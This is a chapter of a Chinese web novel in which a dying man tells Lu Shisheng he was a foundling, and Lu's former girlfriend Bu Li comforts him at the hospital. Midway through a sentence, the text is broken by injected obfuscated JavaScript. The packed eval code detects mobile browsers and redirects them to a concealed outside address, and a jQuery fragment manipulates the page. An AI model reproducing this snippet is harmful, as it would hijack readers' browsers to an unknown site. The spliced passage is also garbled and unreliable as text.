47. 被抛弃的人

作品:《香瓜写真馆诚招男模

    步梨躺在床上给沈思筝连发了好几条消息。


    “筝,我遇见陆时生了。”


    “有些日子没见,他瘦得都没人样了。”


    “虽然他瘦不瘦跟我也没关系,但他爸爸生病了,挺严重的,我就借了点钱给他。”


    “我是不是真的很圣母心啊。”


    “唉我没救了怎么办?”


    “人呢?”


    步梨给沈思筝发了好几个微信都没得到回应,打电话也没人接。


    她有点失落,但又想到沈思筝这个职业,经常给病人做手术,也能理解。


    步梨翻来覆去,半天也没睡着。


    今天下午她接到了安宏远打来的电话。


    安宏远跟她说,他打听到了陆时生的一些事情。


    “步梨,你还和陆时生在一起吗?我今天和你说的话并没有贬低或诋毁的意思,只是一些我问到的其他人对陆时生的客观评价。”


    “陆时生这个人怎么说呢?因为家庭的问题,他有着比较严重的自残行为和暴力倾向。听说是家里人对他的管教很严,所以造成他达不到目的时,情绪就会很激动,甚至自残,后来渐渐地开始对别人也做出极端行为,还曾因一门课程不及格,央求老师不成,竟把那位老师的脑袋打破了。”


    “步梨,我觉得你可能还是要谨慎一些的,虽然他现在失去了从前的记忆,但我认为,有些东西是刻在基因里的。”


    步梨心乱如麻,她沉默了一会儿,和安宏远说了谢谢,然后挂断电话。


    她想起陆时生胳膊上的伤痕,是自残吗?


    还有他这次来江北,浑身的伤,医生说是打斗留下来的,到底发生了什么,她那天没问,现在却控制不住自己去想这些事情。


    她给沈思筝发了消息过去求助,一直到半夜快两点钟,沈思筝才回了她的电话,听声音明显是喝多了。


    “步梨,我今天见到死人了。”


    上来就是这么一句惊悚发言,搞得步梨背后发凉。


    “算了,等你明天酒醒了我再找你聊吧。”步梨劝了她两句以后少喝酒,然后挂断了电话。


    她将通讯录往下翻了很久,找出那个曾经置顶的聊天框。她知道不应该,但身体还是止不住地想要靠近。


    最终,她输了几个字进去,“陆时生,我们找个时间聊聊吗?”


    发送。


    步梨翻了个身,仰头看向天花板。


    ......陆时生,你不该在这个时候出现的。


    在她还没有将他忘记的时候,还没有将之前的感情全都倾倒出去的时候。


    他怎么可以在这个时间出现?


    ......


    医院。


    陆望潮将头缓缓转向陆时生。


    他看了他一会儿,目光里透出前所未有的柔和。


    “陆时生......”


    “陆......不,你过来......”


    他要陆时生靠近一些,喊他的时候,却似乎不是很想叫出他的名字。


    陆时生往前移了半步,陆望潮声音很低,气息很弱,陆时生这个距离,大概能听得清。


    这么多年,他其实一直没适应同陆望潮靠得太近。


    陆望潮没再勉强他靠近,只低低地开始说话。


    “我没疯,也没傻,之前说的话也不是疯话,你确实不是我儿子,只是我捡回来的孩子,你也不叫陆时生,陆时生是我儿子的名字,他早死了。”


    “我对不起你,是我当年自私,困了你这么多年,所以现在我这样是活该的,你也不用太伤心,等我死了,你也不用给我披麻戴孝,找个地方把我埋了就行,对了,最好是坟场的最东边。”


    “就算你不是我儿子,老家的房子还是归你的,除了那房子,我也没给你留下什么东西,对了,我床底下有个盒子,里面有你的东西,你回家后,一定要记得去找。”


    “找到以后,你就回你的江北去吧,别在花溪镇那个小地方了,那里不是你的家,你不属于那里。”


    “我在花沟县医院的时候,那桂香老太太还瘸着腿看过我好几次呢,老太太不容易,我知道你老帮她,你回了江北,能不能也偶尔回去看看她?算了,你自己的生活,以后就你自己说了算了。”


    “其实我挺希望你是我儿子的,你比他懂事多了,我儿子小时候也很懂事,但后来就长歪了,变坏了,有我的一半责任吧,还有另一半是他妈的,算了,我的责任占百分之八十吧。”


    他说了很多没用的或是没头没尾的话,比这几年父子俩相处期间一共说得话还多。


    陆时生一直默默听着,没有难过,没有惊讶,就好像在听人讲一个故事。


    陆望潮一直说,他便一直听,直到陆望潮的声音越来越弱,弱到几乎听不清,到后来,在一阵静的可怕的沉默里,监护仪忽然发出长而尖锐的声音。


    寂静戛然而止。


    直到这一刻,他才真切地有了感觉。


    那感觉说,眼前这个人走了。


    带着爱与恨,带着希望与痛苦,带着家与纽带,带着所有复杂矛盾的情感,离开了。


    不会再回来。


    而他,被这个世界抛弃了。


    陆时生梦游一般出了病房,坐电梯下来,在外面的长椅上坐下,望了会儿星空。


    寒风吹过来,还能感觉到冷。


    陆望潮都和他说了什么?是真的还是又在骗他?


    陆时生想念花溪镇的夜晚,那里的夜晚是真正的夜晚,四周都是黑漆漆的,是浓稠纯粹的黑,不像这里,每个几米就有路灯不知疲倦般地亮着,夜如白昼。


    六年前,他一醒过来就在花溪镇,他的记忆和人生是从那里开始的,明明为什么要说,他不属于花溪镇?


    他到底是谁?又属于哪里?


    他和这个世界最后的联系好像突然在某个时刻断了。


    手机不合时宜地响了一声。


    陆时生看了一眼,是步梨,她说想跟他聊聊。


    陆时生像是一个被人扔掉的枯草,顺着水流漫无目的地漂,忽然被人捡了起来。


    黑暗中,手机屏幕闪动的光像是冬季长夜里的一根火把,他激动地、疯狂地、在大脑思考之前,身体先一步行动,给步梨拨了电话过去。


    “步梨。”


    “我想见你。”


    ...


    在理智和冲动之间,步梨最终选择了后者。


    面对陆时生,她无半点理性可谈。


    凌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616210|168336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晨两点半,她打车到了医院,孤独的路灯下,陆时生坐在长椅上,身影被拉得很长。


    那一刻,步梨似乎猜到出了什么事。


    更确切地说,她在下出租车之前,或者更早,在陆时生给她拨过电话,她听到他黯然伤神几乎快要哑了的声音的那一刻,她就猜到了。


    陆时生默默坐在长椅上,左手放在膝盖上,低着头,他知道步梨来了,她静静坐在他身边,但他一直没看她。


    步梨感觉他的身体在颤抖。


    “头疼?”她问,“还是腿疼了?”


    陆时生没说话。


    疼痛蔓延全身,让他说不上来到底是哪里难受。他微微弓着身子,觉得窒息,压抑,宛如利刃划过心脏,深深刺痛全身的每一处神经,低垂的夜幕之下,他痛苦地承受着这个世界的重量。


    “要是不说话,我就走了。”


    步梨站起身,转身要走。


    “步梨。”陆时生声音嘶哑得厉害。


    步梨停住脚步,她感觉后面的人艰难地站起身,一步步挪到她身后。


    她感觉他攥住了她的衣角,两人沉默了一会儿,陆时生从身后抱住她,低声说了句,“对不起。”


    步梨感觉身后的人在颤抖。


    从前他的怀抱很温暖,让人安心,可现在是一片冰冷,像是一块没有温度的石头,或是被冻僵了的树枝,连呼出的气都是冷的。她微微回头,这时才发现陆时生在哭,他眼圈很红,哭也是克制隐忍的哭泣,像是脱去了成人外衣的小孩。


    步梨呆滞片刻,转过身看着陆时生,她伸手过去,手指拂过他的面颊,将湿凉的泪水拂去。陆时生微微垂着眼,睫毛被打湿成一簇簇的形状,他的眼睛生的好看,似是星河倒映在其中,但步梨从没见过他的眼眸里流露出过这样的神情。


    步梨帮他抹掉泪水的时候,不小心碰到他面颊处的淤青,陆时生微微躲了一下,步梨呼吸跟着一滞,情难自禁,她一向不太会安慰人,心神也在这时乱了,彻彻底底地乱了,因为下一秒,她失控地踮起了脚,用自己的嘴唇贴了贴陆时生的嘴唇。


    她觉得自己现在的行为实在像是在耍流氓,是贼心不死,是趁虚而入。


    她有些惭愧,可那一刻,陆时生却像是突然抓住了生活的纽带,周围的一切都是虚无的,只有刚才两人唇齿相碰的那一刻,他才感觉到一份真切,他还是活在这个世界上的,并且与这个世界交织在一起。


    所以步梨将身子退回来时,陆时生抓住她,紧紧跟了过来,拼命地去触碰那份柔软。


    口腔里混杂了泪水的咸味,绵长、温柔、苦涩。


    步梨觉得自己输了,她就这么原谅了陆时生,原谅了他之前的放弃与妥协。


    或许是原谅,更是一种释然。


    他们之间的隔阂依然存在,以后也不会再是恋人,她恨过陆时生,恨他的抛弃,恨他的懦弱,恨他苦苦执着于维护自己的自尊而选择放弃,但其实,在某种程度上,她又何尝不是抛弃了他。


    无论过去孰是孰非,这一刻,她不得不承认,她还爱他。


    “陆时生,过去的种种,就让它过去吧,从此以后,我们各自开启各自的崭新人生。”


    她想,这是她最后一次拥抱陆时生了。